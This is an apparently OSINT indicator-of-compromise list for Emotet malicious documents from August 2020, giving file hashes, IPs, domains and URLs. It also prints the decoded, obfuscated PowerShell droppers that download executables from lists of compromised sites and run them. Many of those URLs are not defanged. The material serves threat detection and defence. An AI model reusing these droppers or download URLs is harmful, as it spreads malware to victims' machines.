Emotet_Doc_out_2020-08-27_13_48.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
bcd61ab37feaada5c60d51dc1594beb3d39e446c92c4c5a38009db5b19bc9e5c
dd2484c23d966107f9a26cf3adf938cfb0cd6178dd2d7f7bb6885cfc35177828
119797d2cdf0bb5a7db19488742be1bf4b5da59ac4f9f2f5862d9dcdecd4760b
dedb6494bebbff5fc6c25fb1b046d9fc37fde3161a108c786d9c52f0f8f7a4e2
d9dd555f7d7ba6c8b9a749364190331ffe668aa680ef9d9cf518922c5e3988ef
dac9ebc8fa34fb2cd3f0345d7d6fe1f264093ff749836f60ec0f6e42c9a8c21c
d5c549eee018841e8c99ea2b6fdb5d625863689a0758458bed6ce909cf5e3e28
676c878bed2e541c7e1adcbb0f141462e8f98125e82ff705dcda881165585452
5bb2d9a1cccac6473be88f29607cf03906957bce32e053883f1461be084fb439
b64c25fdb8b926a26c02d5056de72e8c5b428d81183c738e83ee60ca818674e6
b8fd7257bf780c381c42c0d3f9e936ff97bc6a953eff915912704388a738f449
ed89cc17ed8978fba123c35b81ab3492672011b981288e57cc7d4f35ba874908
6172691b40af326e4401a41208b54f047786ccc000cabda70b3afc6a0d434278
399e31f3d6f91340c0d125e0e642c7d5f4a41653bf5b1f4e014019e3d385a767
305e0e9a329ac85f97dacf909710fb3ae485af0e09b6ed9022f8a4dc901623e6
304a49dcfd2b0a2c4c084e8c35d44245d9f29d1ae2126f68a03ae2b7a7731735
46ad3ffd2f18db73936b38d5e36b53663025ded5a415cc6154ce37e6639ad546
5106dc79c277efaea0994fbff2d9683e1a6cb42184857e27a7fd36ef275026f9
abb6a2d69cf06ee0f478dffc60db892a43144052a046dec113d28faf718c640a
51c15b9a8738dd2b8fb12a5eea9ea50202ab1057e062a7cc4b6de972ce74148f
85b485deac6e4384f0d876ed4f8dd15536249715d5207558a33ab603be4f517d
b87a064c66cdd9719e97ee49c21b6435c4f769164c1195b5d14cf15b9dc81a19
e0cc6b1684c8b8e688fb1f1a48960cb333e7001b6b8aef55314c0a4cb3ef74a5
b0f278e02687002c4e5d37213a5c259b4465d537e6eef7cc0d01123a9a2ac74d
7a082d2d846a53d95bf86c4806bc6ace013ac04f1fa8750c17728f64726e47df
40e3acb39e69b6ef6a43bcfbc7304dc34b0d94e6fc0ccdfa93eb037274ecd0a3
0431e13b7bf7497686d6f9b2cdc12dbc66e46c9b222417d30ab436d2d0b74e61
869da97b04259da0e14dda9364d9575b02fd770b1fe8802f8145372cc503bba7
1dde48bf2076ebd93bf88e51f561621ba6b8eab38781ccbf574aaca18159fe54
142dc1e283f1f6e694cf0f979c9e3b95b518e2ea06bc28a5ec69044ba484083d
deff1fec5278776d57bf386c1fff4af29214576413f6dcaedcbf5d5ff00e509d
232625c246259847143ea943c67aa3140a76bd09a19db7e3c8098ca513699369
bf3d5149b15fa4399dfadac2556d328a9707b9332e9f063dae1d4c90e36c480a
abd2e27899da09f53fa00ceb940f6a914cd44af6cd1d754f783aff922eb9c45b
c741db44bb434a01cb739da0ba7df5ad5e396e7a3a5afcf79c11d071a5339b4b
00993b12381962ddf42f0785a5a6660035dea597c5782a819714f2ce29ba2701
b13b6fb044972063fee5a633ab2c88e75a1e7201427b25f21be5ba73dbac82af
2bae2742fb283aa2f35ef1722797919ff00e34f7e1868ca7841fc5baafdefe96
f3f87a6dd05dca7f7bf21316df4aa90bbc92fd53a45b004fa5edd7b6017ea8ac
088a99c8897bb88223ee801eef2d94d81cf36ed7c8b13ee6ea8b3bceffcbcc2c
f1f1a70cbcf4405ba3d4a322d81379f5346c3b56cb38edf6349042572e1752f1
296bbf96bfdbbf15645cfed54fab9aa313b209cc45c7a91e375da5396c5b390d
b570c09b7284b1917d0059370f79e94031a444a40c3f64c7bc32090a1e38ed11
cc726b1b282963ed12f0894d0adba0ac1fdbe450c1db6761bda676005b7cb051
5d0f4c6986052343aea856f2d76627678b04ebd63757bc27ec45767ba82ccdcd
73e4f9b7e2b1344fb051326f62f3f0f65382219e844543aedc9a7dd5e6c72357
9d2134a692b839f211eac6c767d4d2bd34c403cf29d221579e8d146f338b95bd
eada7caedda99d532082edadceb81195adb094a6d2b9d284fab4974d8eb8235b
3655157b27b8b084443564d11a050740b1e72edf7bb35e9b2cc619eb795c52ac
ad2830d53332799552182a550a4d3f874618ab44fb3fd5ed52083ec516bb2227
916837f39c9a169a34f23b6743605c18df1817f8f22160e7e4a874df6190c344
63d5f79e05174cba8a5d193204e864185ebee87d45bb3c6e3dc4739ebd947d70


IPs:
103.224.247.81
104.27.173.119
104.28.20.158
104.28.20.168
104.28.21.158
104.28.21.168
104.28.2.87
104.28.3.87
136.243.219.83
158.58.184.138
162.144.90.127
162.208.49.157
162.244.77.3
165.227.15.100
165.227.2.7
171.244.50.170
172.67.137.210
172.67.183.236
172.67.186.123
176.62.173.239
177.70.27.42
181.88.192.21
18.191.77.34
182.50.151.35
185.26.156.26
185.32.203.10
185.50.44.158
185.70.111.5
192.130.146.153
192.185.174.53
202.0.103.191
205.144.171.100
207.174.213.181
207.46.147.148
209.236.118.251
216.244.91.100
216.86.151.45
217.160.253.87
217.73.131.5
23.227.186.26
23.29.122.195
35.209.231.76
35.214.97.13
35.238.216.189
45.158.14.34
45.86.64.239
46.30.215.204
50.87.63.62
5.134.9.175
63.141.243.99
64.40.126.65
64.40.126.97
64.90.49.54
66.96.134.66
67.227.144.20
68.66.248.51
70.32.23.43
72.52.170.129
74.220.203.216
81.169.145.66
85.95.237.78
88.208.252.173
91.189.114.24
93.174.167.94
97.79.238.200



URLs:
hxxps://www.homeonetechnologies.com/blog/dcy/
hxxp://www.visu-all.ch/open-array/HP/
hxxp://cse-engineer.com/cgi-bin/f5fG/
hxxp://da-industrial.com/js/j/
hxxps://s1.finmsb.com/uc_autoscripts/AcpPvTthOX/
hxxps://dev.dosily.in/wp-content/gWPMl/
hxxp://glassesnepal.com/gxlaf/j/
hxxp://propertywatch.ng/alfacgiapi/K5/
hxxp://91madou.xyz/r3es/nle/
hxxps://samairafashion.com/t1l6y9b/H/
hxxp://votesteve.us/closed_zone/qxbdiC/


Domains:
www.homeonetechnologies.com
www.visu-all.ch
cse-engineer.com
da-industrial.com
s1.finmsb.com
dev.dosily.in
glassesnepal.com
propertywatch.ng
91madou.xyz
samairafashion.com
votesteve.us


Decoded Base64 Powershell:
$Doi7xj0=N3bgscs;
.new-item $Env:Temp\WORD\2019\ -itemtype DIREctoRY;
[Net.ServicePointManager]::"SEC`UR`ItY`P`RotOCol" = tls12, tls11, tls;
$Zo_dpuh = Zlcoy_4;
$Q48_dcz=U7aj67c;
$D1l6jd0=$env:temp15xword15x201915x."R`Epla`CE"[chaR]49[chaR]53[chaR]120,\$Zo_dpuh.exe;
$Tslsc3r=Xteer5a;
$N1bhd05=&new-object NeT.wEbcLiEnT;
$Cw47ocg=hxxp://casaroomz.com/wp-includes/rPG/
http://necibekulac.com/wp-content/dTl4ul/
hxxps://www.homeonetechnologies.com/blog/dcy/
hxxp://todoparaelconfort.com/cgi-bin/wp/
hxxp://aadarshitibhusawal.org/wp-includes/amI/
hxxp://digiarmedia.com/wp-admin/8/
hxxp://avcumda.com/huseyingulgec.com.tr/cO1DS8G/."SP`liT"[char]42;
$Pii6n01=Bzpxbjv;
foreach$X_ufxd2 in $Cw47ocg{try{$N1bhd05."D`oWnlo`AD`FIlE"$X_ufxd2, $D1l6jd0;
$Ghwfyl0=I_du0u7;
If .Get-Item $D1l6jd0."l`eN`gTh" -ge 38817 {&Invoke-Item$D1l6jd0;
$Xywxis4=Wpnn66y;
break;
$A7jh7rl=Jtn7frs}}catch{}}$M4fw0r_=Vm47vsr$F1hj7_r=E9b7txs;
&new-item $ENv:TEMp\WorD\2019\ -itemtype dIRectORY;
[Net.ServicePointManager]::"SeC`UR`i`TypROt`Ocol" = tls12, tls11, tls;
$Sx8k_r8 = P7hhgr;
$Tsam1ih=Qiyk4na;
$Dumm5e9=$env:tempIrhwordIrh2019Irh  -cRePLAcE [chAr]73[chAr]114[chAr]104,[chAr]92$Sx8k_r8.exe;
$Dceg8cc=Be2zej1;
$S63m2t4=&new-object nEt.WeBcLiEnt;
$Wpmbner=http://teldesign.com/stats/0W/
hxxp://www.visu-all.ch/open-array/HP/
hxxp://xanadudigital.com/condosdominicano.biz/50sWkJ/
https://literacy.fischertrust.org/wp-incudes/hNsKqF/
hxxp://creativityonline.fr/aideadomicile-goderville/jcUzC/
https://bangkokcityjewel.com/cgi-bin/gv9Eb/
https://dehaine.com/photos/include/JYqfv2/."SPl`it"[char]42;
$Tyq37y2=Zvpx7m1;
foreach$Cewstuj in $Wpmbner{try{$S63m2t4."DOW`NLoadf`ILE"$Cewstuj, $Dumm5e9;
$P8ceckg=Lhkvssj;
If .Get-Item $Dumm5e9."Le`NGTH" -ge 27488 {&Invoke-Item$Dumm5e9;
$Xue9ier=Dgmyp01;
break;
$Yehhv1q=Tmzofsr}}catch{}}$Ae04v7m=O39e5ba$Fvsqqwj=O2bafs6;
&new-item $env:TEMp\WOrd\2019\ -itemtype DIRectORY;
[Net.ServicePointManager]::"SEcUR`itYPRotO`c`ol" = tls12, tls11, tls;
$Evzu2ce = Drar13o2q;
$Lbjunfi=Rbpge00;
$Oh78bc8=$env:tempXaHwordXaH2019XaH  -RePLace[Char]88[Char]97[Char]72,[Char]92$Evzu2ce.exe;
$Ilb8ey1=Ljcyarg;
$T3bvzwy=.new-object NEt.WEbcLiEnT;
$Vneww9d=http://bursayuzmekursu.com/assets/6m3/
http://casabeethovenlb.com/classes/mPaUG3/
hxxp://cse-engineer.com/cgi-bin/f5fG/
hxxp://da-industrial.com/js/j/
http://ajbuids.co.uk/buildzips/XY8Mgvl/
https://cocoonplace.be/achtergronden/ZRDB/
http://creativemarcel.com/downloadTest/wc/."Spl`It"[char]42;
$Zufhjan=Uj44n0m;
foreach$Fnw8x9x in $Vneww9d{try{$T3bvzwy."d`own`LoadFIle"$Fnw8x9x, $Oh78bc8;
$Nmqd1u2=Ineedv7;
If &Get-Item $Oh78bc8."lEn`g`TH" -ge 24448 {&Invoke-Item$Oh78bc8;
$Rgu42dl=De669tq;
break;
$Aeybdbq=J788j5g}}catch{}}$P9z43j3=Dgvp88o$Irqfrdw=Ovjm9iq;
&new-item $EnV:TEMP\wOrD\2019\ -itemtype DirECtOrY;
[Net.ServicePointManager]::"SeC`U`RIT`YProTo`CoL" = tls12, tls11, tls;
$Sqzgi7g = O9khjkn;
$Lgm_r5x=Xilabuh;
$Z_vck61=$env:temp{0}word{0}2019{0} -F[chaR]92$Sqzgi7g.exe;
$Jct1wo2=Ziwlv_g;
$Ykwkg5n=.new-object nET.webcLIENT;
$Tf6cpga=http://www.riserproperty.com/wp-content/SMXB/
http://laurenebohn.com/bGOHy/8qa07472/
hxxp://lezliedavis.com/swift/5TQW6sf32736/
hxxp://cityplanter.co.uk/zy0b9r0s/lTZlc101auo37/
hxxp://farooquie.com/wp-admin/da52f6268411/
https://onejmd.com/wp-content/xmO/
hxxps://s1.finmsb.com/uc_autoscripts/AcpPvTthOX/."s`pLIt"[char]42;
$Cu1l3xa=Ymp19po;
foreach$Udxxss1 in $Tf6cpga{try{$Ykwkg5n."DOWnL`OaD`F`ile"$Udxxss1, $Z_vck61;
$Sp5g3yk=L5_iiml;
If .Get-Item $Z_vck61."lEnG`TH" -ge 38589 {.Invoke-Item$Z_vck61;
$G9s58d2=U3j_buu;
break;
$Pvggajq=R79x3sw}}catch{}}$Myys8g5=Be_7acn$K94plrj=Dmo0br4;
.new-item $ENV:Temp\woRd\2019\ -itemtype DirecTorY;
[Net.ServicePointManager]::"Se`c`UrITY`proTocOl" = tls12, tls11, tls;
$G5wqm7v = E0kb0j;
$S1vxfxf=S9w100x;
$Rvdweds=$env:tempfEiwordfEi2019fEi  -REplacE[chAr]102[chAr]69[chAr]105,[chAr]92$G5wqm7v.exe;
$Fm0r31t=Taukovu;
$Uh3_xb6=&new-object NET.WebClIeNt;
$Vho70jw=hxxp://zakahlife.com/wp-includes/P2Anjqkwlc4858/
https://paws4walking.co.uk/wp-admin/HXd820ikj138/
hxxps://dev.dosily.in/wp-content/gWPMl/
hxxp://f1.dodve.com/wp-admin/THxee39064/
hxxp://support.dogpack.media/tickets/qiDNPAj/
http://nortgal.es/blogs/udZj/
hxxp://newsmarttailors.com.np/wp-content/Mjjwuwlof3910650/."SPl`iT"[char]42;
$D3cz15e=Zjybp26;
foreach$Psre73b in $Vho70jw{try{$Uh3_xb6."DownL`oadfi`LE"$Psre73b, $Rvdweds;
$Npd1_4o=E37ed6y;
If &Get-Item $Rvdweds."lE`NG`TH" -ge 22764 {&Invoke-Item$Rvdweds;
$Svg794n=Mrscsnb;
break;
$M30s58m=Bt90aof}}catch{}}$Nyzfyhw=Sssm70z$Qi9i7bo=M_fpaia;
.new-item $enV:TEmP\wORd\2019\ -itemtype DiRECtory;
[Net.ServicePointManager]::"sEC`U`RITYP`ROtO`col" = tls12, tls11, tls;
$Tqtyexc = Wn9hhuf7;
$T_80kyx=Vb8ybbu;
$Ptkxo5x=$env:tempgVxwordgVx2019gVx."REpla`Ce"gVx,\$Tqtyexc.exe;
$Qfoyibt=Z42z7fc;
$Dflt1rg=&new-object Net.wEbcLIEnt;
$Rn41mr0=http://banglagoogle.com/wp-admin/o3H7uE5/
hxxp://glassesnepal.com/gxlaf/j/
hxxp://propertywatch.ng/alfacgiapi/K5/
hxxps://cleanwaterarizona.com/wp-content/OQ8/
hxxp://91madou.xyz/r3es/nle/
hxxps://themedicann.com/wp-content/OWxv/
https://maflare.com/wp-includes/mNwd/."S`pLit"[char]42;
$Btfcszh=Nlhge75;
foreach$Hgfyfvk in $Rn41mr0{try{$Dflt1rg."DoWN`Lo`AD`FiLe"$Hgfyfvk, $Ptkxo5x;
$Jcuo2hs=Lr_s99i;
If &Get-Item $Ptkxo5x."leN`gTh" -ge 33425 {&Invoke-Item$Ptkxo5x;
$Vwt8sw0=Bf96mlc;
break;
$Kl4vyn6=Lwaz1ov}}catch{}}$Nhlkkq8=Prycv6e$Xovfv2n=A3gg38u;
.new-item $ENV:TemP\WOrD\2019\ -itemtype diREcTOrY;
[Net.ServicePointManager]::"SecUr`i`Typ`RotOc`ol" = tls12, tls11, tls;
$F4p_zya = Uamrrgt;
$Br7n5cr=Qdkpiqf;
$Kk5erww=$env:tempcJdwordcJd2019cJd."RE`P`LaCe"[ChaR]99[ChaR]74[ChaR]100,\$F4p_zya.exe;
$X9dzpp4=Gchzmu4;
$Do312ll=.new-object neT.webcliENt;
$Iybcgib=hxxp://inmed.vn/wp-content/BTAvhtA/
http://softpark.com.br/administrator/xwFvil6rzzki0254/
http://blueprint.sd/c8elx3o/xvMBZZbAIAoq/
hxxps://uptechnology.com.br/redepay/img/dDiOE/
http://matadebenfica.com/permanente/IoEsXoKNsRRQ/
hxxp://tjstore.ir/wp-admin/lcVWrhdoywvf8x8712/
hxxp://garden-center.ro/wp-content/ddYzXcaL/."Sp`LIt"[char]42;
$W6de6_d=Heuywee;
foreach$Syng54w in $Iybcgib{try{$Do312ll."DOwNl`oa`dfIlE"$Syng54w, $Kk5erww;
$Wyutc5l=Rvd2731;
If .Get-Item $Kk5erww."leN`gTh" -ge 21694 {.Invoke-Item$Kk5erww;
$Ounmb49=Eok7fzf;
break;
$W5yajxc=Mpk8nct}}catch{}}$Lmbu2_5=Qy9pa2t$Y_s32aa=Jbqh1ha;
.new-item $eNV:TeMP\woRd\2019\ -itemtype dIREcTORy;
[Net.ServicePointManager]::"Securit`Y`p`ROtOCOl" = tls12, tls11, tls;
$Ygo65da = Tvq1013_e;
$Hn9_70t=Tqz__p_;
$Lalrdoz=$env:temp{0}word{0}2019{0}  -f  [Char]92$Ygo65da.exe;
$Cc0rv2f=Cixkihh;
$Atm81jh=&new-object NEt.WebcliENT;
$K4tjtl5=https://speedypush.com/wp-content/wLd1aX/
hxxp://ain.ummahhost.com/wp-includes/WxONU/
hxxps://samairafashion.com/t1l6y9b/H/
http://dwebcreativos.com/cgi-bin/7/
http://tiendapablus.net/cgi-bin/Z/
https://tutyusa.com/wp-admin/fU8810j/
http://opurno.com/wp-admin/6uGPi/."S`PlIT"[char]42;
$Rt1y7pf=R6qve3v;
foreach$Bubzqh3 in $K4tjtl5{try{$Atm81jh."download`FI`le"$Bubzqh3, $Lalrdoz;
$Sqx1bxx=Fn7yljx;
If &Get-Item $Lalrdoz."LenG`Th" -ge 31022 {&Invoke-Item$Lalrdoz;
$Emrzmxz=M52lvpm;
break;
$Pu3vsrb=Epttsgp}}catch{}}$Xm9pemo=Y4u58jy$Ys3jht6=Q5y1y61;
.new-item $env:teMP\WORd\2019\ -itemtype DiREcTORy;
[Net.ServicePointManager]::"Se`CuRiTYPro`T`OCoL" = tls12, tls11, tls;
$Qnqpaa9 = Eqq0yts;
$F3l05wt=Q5hqhnq;
$Tao9_1g=$env:temp17Qword17Q201917Q."r`E`pLace"[CHaR]49[CHaR]55[CHaR]81,[sTRINg][CHaR]92$Qnqpaa9.exe;
$Dwlfcrg=Q0iuu08;
$L4eg0br=&new-object neT.wEBClIeNT;
$Anx9lka=hxxp://olli-f.de/Sicherung/KqozuDTx/
hxxp://legend.nu/personal-disk/WFEYeUeMIX/
hxxp://trainings.smartscape.eu/wp-admin/aq6040qlhh15069/
http://luroi.com/cgi-bin/T15o3n9958553/
https://susadosa.com/images/16Ygc3x700bapt3237/
hxxp://votesteve.us/closed_zone/qxbdiC/
http://www.jimenezabogados.mx/Firmas/ZgCilIFHWHZqy/."SP`LiT"[char]42;
$Arcqh80=I4d5xjk;
foreach$Wupe0_x in $Anx9lka{try{$L4eg0br."downLO`A`dF`ilE"$Wupe0_x, $Tao9_1g;
$Ai5chmi=Pum7n0l;
If .Get-Item $Tao9_1g."L`En`gTh" -ge 32973 {&Invoke-Item$Tao9_1g;
$Uq2laaj=H5konen;
break;
$Lumf5gy=I6xvdzn}}catch{}}$L765tr_=Op9s0mi